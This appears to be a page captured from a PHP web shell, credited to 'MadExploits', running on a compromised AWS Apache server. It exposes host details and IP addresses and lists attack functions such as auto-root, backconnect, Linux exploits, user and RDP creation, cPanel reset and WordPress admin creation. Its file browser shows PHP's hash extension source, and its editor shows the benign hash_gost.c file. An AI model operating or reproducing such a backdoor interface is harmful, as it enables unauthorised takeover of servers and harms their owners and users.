Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.138.105.128
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
php /
82 /
src /
ext /
hash /
[ HOME SHELL ]
Name
Size
Permission
Action
murmur
[ DIR ]
drwxr-xr-x
sha3
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
xxhash
[ DIR ]
drwxr-xr-x
CREDITS
85
B
-rw-r--r--
bench.php
531
B
-rw-r--r--
config.m4
1.95
KB
-rw-r--r--
config.w32
1.66
KB
-rw-r--r--
hash.c
47.98
KB
-rw-r--r--
hash.stub.php
2.3
KB
-rw-r--r--
hash_adler32.c
2.5
KB
-rw-r--r--
hash_arginfo.h
7.94
KB
-rw-r--r--
hash_crc32.c
4.35
KB
-rw-r--r--
hash_fnv.c
5.99
KB
-rw-r--r--
hash_gost.c
11.53
KB
-rw-r--r--
hash_haval.c
18.83
KB
-rw-r--r--
hash_joaat.c
2.53
KB
-rw-r--r--
hash_md.c
10.76
KB
-rw-r--r--
hash_murmur.c
7.43
KB
-rw-r--r--
hash_ripemd.c
24.37
KB
-rw-r--r--
hash_sha.c
26.4
KB
-rw-r--r--
hash_sha3.c
10.33
KB
-rw-r--r--
hash_snefru.c
6.11
KB
-rw-r--r--
hash_tiger.c
7.89
KB
-rw-r--r--
hash_whirlpool.c
16.09
KB
-rw-r--r--
hash_xxhash.c
8.17
KB
-rw-r--r--
php_hash.h
6.5
KB
-rw-r--r--
php_hash_adler32.h
1.56
KB
-rw-r--r--
php_hash_crc32.h
1.81
KB
-rw-r--r--
php_hash_crc32_tables.h
10.27
KB
-rw-r--r--
php_hash_fnv.h
2.75
KB
-rw-r--r--
php_hash_gost.h
1.51
KB
-rw-r--r--
php_hash_gost_tables.h
28.76
KB
-rw-r--r--
php_hash_haval.h
2.09
KB
-rw-r--r--
php_hash_joaat.h
1.44
KB
-rw-r--r--
php_hash_md.h
2.02
KB
-rw-r--r--
php_hash_murmur.h
2.54
KB
-rw-r--r--
php_hash_ripemd.h
3.04
KB
-rw-r--r--
php_hash_sha.h
3.83
KB
-rw-r--r--
php_hash_sha3.h
2.43
KB
-rw-r--r--
php_hash_snefru.h
1.58
KB
-rw-r--r--
php_hash_snefru_tables.h
58.12
KB
-rw-r--r--
php_hash_tiger.h
1.76
KB
-rw-r--r--
php_hash_tiger_tables.h
41.16
KB
-rw-r--r--
php_hash_whirlpool.h
1.51
KB
-rw-r--r--
php_hash_whirlpool_tables.h
53.71
KB
-rw-r--r--
php_hash_xxhash.h
3.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : hash_gost.c
/* +----------------------------------------------------------------------+ | Copyright (c) The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | https://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Michael Wallner <mike@php.net> | | Sara Golemon <pollita@php.net> | +----------------------------------------------------------------------+ */ #include "php_hash.h" #include "php_hash_gost.h" #include "php_hash_gost_tables.h" /* {{{ Gost() * derived from gost_compress() by Markku-Juhani Saarinen <mjos@ssh.fi> */ #define round(tables, k1, k2) \ t = (k1) + r; \ l ^= tables[0][t & 0xff] ^ tables[1][(t >> 8) & 0xff] ^ \ tables[2][(t >> 16) & 0xff] ^ tables[3][t >> 24]; \ t = (k2) + l; \ r ^= tables[0][t & 0xff] ^ tables[1][(t >> 8) & 0xff] ^ \ tables[2][(t >> 16) & 0xff] ^ tables[3][t >> 24]; #define R(tables, key, h, i, t, l, r) \ r = h[i]; \ l = h[i + 1]; \ round(tables, key[0], key[1]) \ round(tables, key[2], key[3]) \ round(tables, key[4], key[5]) \ round(tables, key[6], key[7]) \ round(tables, key[0], key[1]) \ round(tables, key[2], key[3]) \ round(tables, key[4], key[5]) \ round(tables, key[6], key[7]) \ round(tables, key[0], key[1]) \ round(tables, key[2], key[3]) \ round(tables, key[4], key[5]) \ round(tables, key[6], key[7]) \ round(tables, key[7], key[6]) \ round(tables, key[5], key[4]) \ round(tables, key[3], key[2]) \ round(tables, key[1], key[0]) \ t = r; \ r = l; \ l = t; \ #define X(w, u, v) \ w[0] = u[0] ^ v[0]; \ w[1] = u[1] ^ v[1]; \ w[2] = u[2] ^ v[2]; \ w[3] = u[3] ^ v[3]; \ w[4] = u[4] ^ v[4]; \ w[5] = u[5] ^ v[5]; \ w[6] = u[6] ^ v[6]; \ w[7] = u[7] ^ v[7]; #define P(key, w) \ key[0] = (w[0] & 0x000000ff) | ((w[2] & 0x000000ff) << 8) | \ ((w[4] & 0x000000ff) << 16) | ((w[6] & 0x000000ff) << 24); \ key[1] = ((w[0] & 0x0000ff00) >> 8) | (w[2] & 0x0000ff00) | \ ((w[4] & 0x0000ff00) << 8) | ((w[6] & 0x0000ff00) << 16); \ key[2] = ((w[0] & 0x00ff0000) >> 16) | ((w[2] & 0x00ff0000) >> 8) | \ (w[4] & 0x00ff0000) | ((w[6] & 0x00ff0000) << 8); \ key[3] = ((w[0] & 0xff000000) >> 24) | ((w[2] & 0xff000000) >> 16) | \ ((w[4] & 0xff000000) >> 8) | (w[6] & 0xff000000); \ key[4] = (w[1] & 0x000000ff) | ((w[3] & 0x000000ff) << 8) | \ ((w[5] & 0x000000ff) << 16) | ((w[7] & 0x000000ff) << 24); \ key[5] = ((w[1] & 0x0000ff00) >> 8) | (w[3] & 0x0000ff00) | \ ((w[5] & 0x0000ff00) << 8) | ((w[7] & 0x0000ff00) << 16); \ key[6] = ((w[1] & 0x00ff0000) >> 16) | ((w[3] & 0x00ff0000) >> 8) | \ (w[5] & 0x00ff0000) | ((w[7] & 0x00ff0000) << 8); \ key[7] = ((w[1] & 0xff000000) >> 24) | ((w[3] & 0xff000000) >> 16) | \ ((w[5] & 0xff000000) >> 8) | (w[7] & 0xff000000); #define A(x, l, r) \ l = x[0] ^ x[2]; \ r = x[1] ^ x[3]; \ x[0] = x[2]; \ x[1] = x[3]; \ x[2] = x[4]; \ x[3] = x[5]; \ x[4] = x[6]; \ x[5] = x[7]; \ x[6] = l; \ x[7] = r; #define AA(x, l, r) \ l = x[0]; \ r = x[2]; \ x[0] = x[4]; \ x[2] = x[6]; \ x[4] = l ^ r; \ x[6] = x[0] ^ r; \ l = x[1]; \ r = x[3]; \ x[1] = x[5]; \ x[3] = x[7]; \ x[5] = l ^ r; \ x[7] = x[1] ^ r; #define C(x) \ x[0] ^= 0xff00ff00; \ x[1] ^= 0xff00ff00; \ x[2] ^= 0x00ff00ff; \ x[3] ^= 0x00ff00ff; \ x[4] ^= 0x00ffff00; \ x[5] ^= 0xff0000ff; \ x[6] ^= 0x000000ff; \ x[7] ^= 0xff00ffff; #define S(s, l, r) \ s[i] = r; \ s[i + 1] = l; #define SHIFT12(u, m, s) \ u[0] = m[0] ^ s[6]; \ u[1] = m[1] ^ s[7]; \ u[2] = m[2] ^ (s[0] << 16) ^ (s[0] >> 16) ^ (s[0] & 0xffff) ^ \ (s[1] & 0xffff) ^ (s[1] >> 16) ^ (s[2] << 16) ^ s[6] ^ (s[6] << 16) ^ \ (s[7] & 0xffff0000) ^ (s[7] >> 16); \ u[3] = m[3] ^ (s[0] & 0xffff) ^ (s[0] << 16) ^ (s[1] & 0xffff) ^ \ (s[1] << 16) ^ (s[1] >> 16) ^ (s[2] << 16) ^ (s[2] >> 16) ^ \ (s[3] << 16) ^ s[6] ^ (s[6] << 16) ^ (s[6] >> 16) ^ (s[7] & 0xffff) ^ \ (s[7] << 16) ^ (s[7] >> 16); \ u[4] = m[4] ^ \ (s[0] & 0xffff0000) ^ (s[0] << 16) ^ (s[0] >> 16) ^ \ (s[1] & 0xffff0000) ^ (s[1] >> 16) ^ (s[2] << 16) ^ (s[2] >> 16) ^ \ (s[3] << 16) ^ (s[3] >> 16) ^ (s[4] << 16) ^ (s[6] << 16) ^ \ (s[6] >> 16) ^(s[7] & 0xffff) ^ (s[7] << 16) ^ (s[7] >> 16); \ u[5] = m[5] ^ (s[0] << 16) ^ (s[0] >> 16) ^ (s[0] & 0xffff0000) ^ \ (s[1] & 0xffff) ^ s[2] ^ (s[2] >> 16) ^ (s[3] << 16) ^ (s[3] >> 16) ^ \ (s[4] << 16) ^ (s[4] >> 16) ^ (s[5] << 16) ^ (s[6] << 16) ^ \ (s[6] >> 16) ^ (s[7] & 0xffff0000) ^ (s[7] << 16) ^ (s[7] >> 16); \ u[6] = m[6] ^ s[0] ^ (s[1] >> 16) ^ (s[2] << 16) ^ s[3] ^ (s[3] >> 16) ^ \ (s[4] << 16) ^ (s[4] >> 16) ^ (s[5] << 16) ^ (s[5] >> 16) ^ s[6] ^ \ (s[6] << 16) ^ (s[6] >> 16) ^ (s[7] << 16); \ u[7] = m[7] ^ (s[0] & 0xffff0000) ^ (s[0] << 16) ^ (s[1] & 0xffff) ^ \ (s[1] << 16) ^ (s[2] >> 16) ^ (s[3] << 16) ^ s[4] ^ (s[4] >> 16) ^ \ (s[5] << 16) ^ (s[5] >> 16) ^ (s[6] >> 16) ^ (s[7] & 0xffff) ^ \ (s[7] << 16) ^ (s[7] >> 16); #define SHIFT16(h, v, u) \ v[0] = h[0] ^ (u[1] << 16) ^ (u[0] >> 16); \ v[1] = h[1] ^ (u[2] << 16) ^ (u[1] >> 16); \ v[2] = h[2] ^ (u[3] << 16) ^ (u[2] >> 16); \ v[3] = h[3] ^ (u[4] << 16) ^ (u[3] >> 16); \ v[4] = h[4] ^ (u[5] << 16) ^ (u[4] >> 16); \ v[5] = h[5] ^ (u[6] << 16) ^ (u[5] >> 16); \ v[6] = h[6] ^ (u[7] << 16) ^ (u[6] >> 16); \ v[7] = h[7] ^ (u[0] & 0xffff0000) ^ (u[0] << 16) ^ (u[7] >> 16) ^ \ (u[1] & 0xffff0000) ^ (u[1] << 16) ^ (u[6] << 16) ^ (u[7] & 0xffff0000); #define SHIFT61(h, v) \ h[0] = (v[0] & 0xffff0000) ^ (v[0] << 16) ^ (v[0] >> 16) ^ (v[1] >> 16) ^ \ (v[1] & 0xffff0000) ^ (v[2] << 16) ^ (v[3] >> 16) ^ (v[4] << 16) ^ \ (v[5] >> 16) ^ v[5] ^ (v[6] >> 16) ^ (v[7] << 16) ^ (v[7] >> 16) ^ \ (v[7] & 0xffff); \ h[1] = (v[0] << 16) ^ (v[0] >> 16) ^ (v[0] & 0xffff0000) ^ (v[1] & 0xffff) ^ \ v[2] ^ (v[2] >> 16) ^ (v[3] << 16) ^ (v[4] >> 16) ^ (v[5] << 16) ^ \ (v[6] << 16) ^ v[6] ^ (v[7] & 0xffff0000) ^ (v[7] >> 16); \ h[2] = (v[0] & 0xffff) ^ (v[0] << 16) ^ (v[1] << 16) ^ (v[1] >> 16) ^ \ (v[1] & 0xffff0000) ^ (v[2] << 16) ^ (v[3] >> 16) ^ v[3] ^ (v[4] << 16) ^ \ (v[5] >> 16) ^ v[6] ^ (v[6] >> 16) ^ (v[7] & 0xffff) ^ (v[7] << 16) ^ \ (v[7] >> 16); \ h[3] = (v[0] << 16) ^ (v[0] >> 16) ^ (v[0] & 0xffff0000) ^ \ (v[1] & 0xffff0000) ^ (v[1] >> 16) ^ (v[2] << 16) ^ (v[2] >> 16) ^ v[2] ^ \ (v[3] << 16) ^ (v[4] >> 16) ^ v[4] ^ (v[5] << 16) ^ (v[6] << 16) ^ \ (v[7] & 0xffff) ^ (v[7] >> 16); \ h[4] = (v[0] >> 16) ^ (v[1] << 16) ^ v[1] ^ (v[2] >> 16) ^ v[2] ^ \ (v[3] << 16) ^ (v[3] >> 16) ^ v[3] ^ (v[4] << 16) ^ (v[5] >> 16) ^ \ v[5] ^ (v[6] << 16) ^ (v[6] >> 16) ^ (v[7] << 16); \ h[5] = (v[0] << 16) ^ (v[0] & 0xffff0000) ^ (v[1] << 16) ^ (v[1] >> 16) ^ \ (v[1] & 0xffff0000) ^ (v[2] << 16) ^ v[2] ^ (v[3] >> 16) ^ v[3] ^ \ (v[4] << 16) ^ (v[4] >> 16) ^ v[4] ^ (v[5] << 16) ^ (v[6] << 16) ^ \ (v[6] >> 16) ^ v[6] ^ (v[7] << 16) ^ (v[7] >> 16) ^ (v[7] & 0xffff0000); \ h[6] = v[0] ^ v[2] ^ (v[2] >> 16) ^ v[3] ^ (v[3] << 16) ^ v[4] ^ \ (v[4] >> 16) ^ (v[5] << 16) ^ (v[5] >> 16) ^ v[5] ^ (v[6] << 16) ^ \ (v[6] >> 16) ^ v[6] ^ (v[7] << 16) ^ v[7]; \ h[7] = v[0] ^ (v[0] >> 16) ^ (v[1] << 16) ^ (v[1] >> 16) ^ (v[2] << 16) ^ \ (v[3] >> 16) ^ v[3] ^ (v[4] << 16) ^ v[4] ^ (v[5] >> 16) ^ v[5] ^ \ (v[6] << 16) ^ (v[6] >> 16) ^ (v[7] << 16) ^ v[7]; #define PASS(tables) \ X(w, u, v); \ P(key, w); \ R((tables), key, h, i, t, l, r); \ S(s, l, r); \ if (i != 6) { \ A(u, l, r); \ if (i == 2) { \ C(u); \ } \ AA(v, l, r); \ } static inline void Gost(PHP_GOST_CTX *context, uint32_t data[8]) { int i; uint32_t l, r, t, key[8], u[8], v[8], w[8], s[8], *h = context->state, *m = data; memcpy(u, context->state, sizeof(u)); memcpy(v, data, sizeof(v)); for (i = 0; i < 8; i += 2) { PASS(*context->tables); } SHIFT12(u, m, s); SHIFT16(h, v, u); SHIFT61(h, v); } /* }}} */ static inline void GostTransform(PHP_GOST_CTX *context, const unsigned char input[32]) { int i, j; uint32_t data[8], temp = 0; for (i = 0, j = 0; i < 8; ++i, j += 4) { data[i] = ((uint32_t) input[j]) | (((uint32_t) input[j + 1]) << 8) | (((uint32_t) input[j + 2]) << 16) | (((uint32_t) input[j + 3]) << 24); context->state[i + 8] += data[i] + temp; temp = context->state[i + 8] < data[i] ? 1 : (context->state[i + 8] == data[i] ? temp : 0); } Gost(context, data); } PHP_HASH_API void PHP_GOSTInit(PHP_GOST_CTX *context, ZEND_ATTRIBUTE_UNUSED HashTable *args) { memset(context, 0, sizeof(*context)); context->tables = &tables_test; } PHP_HASH_API void PHP_GOSTInitCrypto(PHP_GOST_CTX *context, ZEND_ATTRIBUTE_UNUSED HashTable *args) { PHP_GOSTInit(context, NULL); context->tables = &tables_crypto; } static const uint32_t MAX32 = 0xffffffffLU; PHP_HASH_API void PHP_GOSTUpdate(PHP_GOST_CTX *context, const unsigned char *input, size_t len) { if ((MAX32 - context->count[0]) < (len * 8)) { context->count[1]++; context->count[0] = MAX32 - context->count[0]; context->count[0] = (len * 8) - context->count[0]; } else { context->count[0] += len * 8; } if (context->length + len < 32) { memcpy(&context->buffer[context->length], input, len); context->length += (unsigned char)len; } else { size_t i = 0, r = (context->length + len) % 32; if (context->length) { i = 32 - context->length; memcpy(&context->buffer[context->length], input, i); GostTransform(context, context->buffer); } for (; i + 32 <= len; i += 32) { GostTransform(context, input + i); } memcpy(context->buffer, input + i, r); ZEND_SECURE_ZERO(&context->buffer[r], 32 - r); context->length = (unsigned char)r; } } PHP_HASH_API void PHP_GOSTFinal(unsigned char digest[32], PHP_GOST_CTX *context) { uint32_t i, j, l[8] = {0}; if (context->length) { GostTransform(context, context->buffer); } memcpy(l, context->count, sizeof(context->count)); Gost(context, l); memcpy(l, &context->state[8], sizeof(l)); Gost(context, l); for (i = 0, j = 0; j < 32; i++, j += 4) { digest[j] = (unsigned char) (context->state[i] & 0xff); digest[j + 1] = (unsigned char) ((context->state[i] >> 8) & 0xff); digest[j + 2] = (unsigned char) ((context->state[i] >> 16) & 0xff); digest[j + 3] = (unsigned char) ((context->state[i] >> 24) & 0xff); } ZEND_SECURE_ZERO(context, sizeof(*context)); } static int php_gost_unserialize(php_hashcontext_object *hash, zend_long magic, const zval *zv) { PHP_GOST_CTX *ctx = (PHP_GOST_CTX *) hash->context; int r = FAILURE; if (magic == PHP_HASH_SERIALIZE_MAGIC_SPEC && (r = php_hash_unserialize_spec(hash, zv, PHP_GOST_SPEC)) == SUCCESS && ctx->length < sizeof(ctx->buffer)) { return SUCCESS; } else { return r != SUCCESS ? r : -2000; } } const php_hash_ops php_hash_gost_ops = { "gost", (php_hash_init_func_t) PHP_GOSTInit, (php_hash_update_func_t) PHP_GOSTUpdate, (php_hash_final_func_t) PHP_GOSTFinal, php_hash_copy, php_hash_serialize, php_gost_unserialize, PHP_GOST_SPEC, 32, 32, sizeof(PHP_GOST_CTX), 1 }; const php_hash_ops php_hash_gost_crypto_ops = { "gost-crypto", (php_hash_init_func_t) PHP_GOSTInitCrypto, (php_hash_update_func_t) PHP_GOSTUpdate, (php_hash_final_func_t) PHP_GOSTFinal, php_hash_copy, php_hash_serialize, php_gost_unserialize, PHP_GOST_SPEC, 32, 32, sizeof(PHP_GOST_CTX), 1 };
Close